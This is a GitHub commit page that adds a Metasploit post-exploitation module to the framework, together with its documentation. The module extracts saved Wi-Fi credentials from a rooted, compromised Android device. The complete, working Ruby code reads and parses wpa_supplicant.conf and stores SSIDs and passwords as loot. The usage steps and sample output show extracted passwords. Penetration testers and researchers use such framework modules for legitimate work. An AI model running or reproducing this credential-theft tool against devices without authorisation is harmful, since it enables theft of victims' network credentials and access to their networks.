-
Notifications
You must be signed in to change notification settings - Fork 13.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #9956, add module to extract wireless credentials on Android
- Loading branch information
Showing
2 changed files
with
132 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
## Vulnerable Application | ||
|
||
This post-exploitation module will extract all saved Wireless access point credentials from the target android device. | ||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Get a *root* meterpreter session (use exploit/android/local/...) | ||
3. Do: `use post/android/gather/wireless_ap` | ||
4. Do: `set SESSION <session id>` | ||
5. Do: `run` | ||
|
||
## Options | ||
|
||
- **SESSION** - The session to run the module on. | ||
|
||
## Extracted data | ||
|
||
- Wireless AP credentials (SSID, network type and password) | ||
|
||
## Example Scenario | ||
|
||
|
||
``` | ||
msf5 exploit(multi/handler) > use post/android/gather/wireless_ap | ||
msf5 post(android/gather/wireless_ap) > set session 1 | ||
session => 1 | ||
msf5 post(android/gather/wireless_ap) > run | ||
Wireless APs | ||
============ | ||
SSID net_type password | ||
---- -------- -------- | ||
ADYYYXRoYXJ2YWpvc2hp WPA-PSK lkjhgfdsa | ||
FCP_WiFi NONE | ||
HomeCable WPA-PSK p@$$w0rd | ||
Troika WPA-PSK ika@12345 | ||
[+] Secrets stored in: ~/.msf4/loot/...wireless.ap.cred_...txt | ||
[*] Post module execution completed | ||
msf5 post(android/gather/wireless_ap) > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,88 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Post | ||
|
||
include Msf::Post::Common | ||
include Msf::Post::File | ||
include Msf::Post::Android::Priv | ||
|
||
def initialize(info={}) | ||
super( update_info( info, { | ||
'Name' => "Displays wireless SSIDs and PSKs", | ||
'Description' => %q{ | ||
This module displays all wireless AP creds saved on the target device. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Auxilus', 'timwr'], | ||
'SessionTypes' => [ 'meterpreter', 'shell' ], | ||
'Platform' => 'android', | ||
} | ||
)) | ||
end | ||
|
||
def run | ||
unless is_root? | ||
print_error("This module requires root permissions.") | ||
return | ||
end | ||
|
||
data = read_file("/data/misc/wifi/wpa_supplicant.conf") | ||
aps = parse_wpa_supplicant(data) | ||
|
||
if aps.empty? | ||
print_error("No wireless APs found on the device") | ||
return | ||
end | ||
ap_tbl = Rex::Text::Table.new( | ||
'Header' => 'Wireless APs', | ||
'Indent' => 1, | ||
'Columns' => ['SSID','net_type', 'password'] | ||
) | ||
|
||
aps.each do |ap| | ||
ap_tbl << [ | ||
ap[0], # SSID | ||
ap[1], # TYPE | ||
ap[2] # PASSWORD | ||
] | ||
end | ||
|
||
print_line(ap_tbl.to_s) | ||
p = store_loot( | ||
'wireless.ap.creds', | ||
'text/csv', | ||
session, | ||
ap_tbl.to_csv, | ||
File.basename('wireless_ap_credentials.txt') | ||
) | ||
print_good("Secrets stored in: #{p}") | ||
end | ||
|
||
def parse_wpa_supplicant(data) | ||
aps = [] | ||
networks = data.scan(/^network={$(.*?)^}$/m) | ||
networks.each do |block| | ||
aps << parse_network_block(block[0]) | ||
end | ||
aps | ||
end | ||
|
||
def parse_network_block(block) | ||
ssid = parse_option(block, 'ssid') | ||
type = parse_option(block, 'key_mgmt', false) | ||
psk = parse_option(block, 'psk') | ||
[ssid, type, psk] | ||
end | ||
|
||
def parse_option(block, token, strip_quotes = true) | ||
if strip_quotes and result = block.match(/^\s#{token}="(.+)"$/) | ||
return result.captures[0] | ||
elsif result = block.match(/^\s#{token}=(.+)$/) | ||
return result.captures[0] | ||
end | ||
end | ||
|
||
end |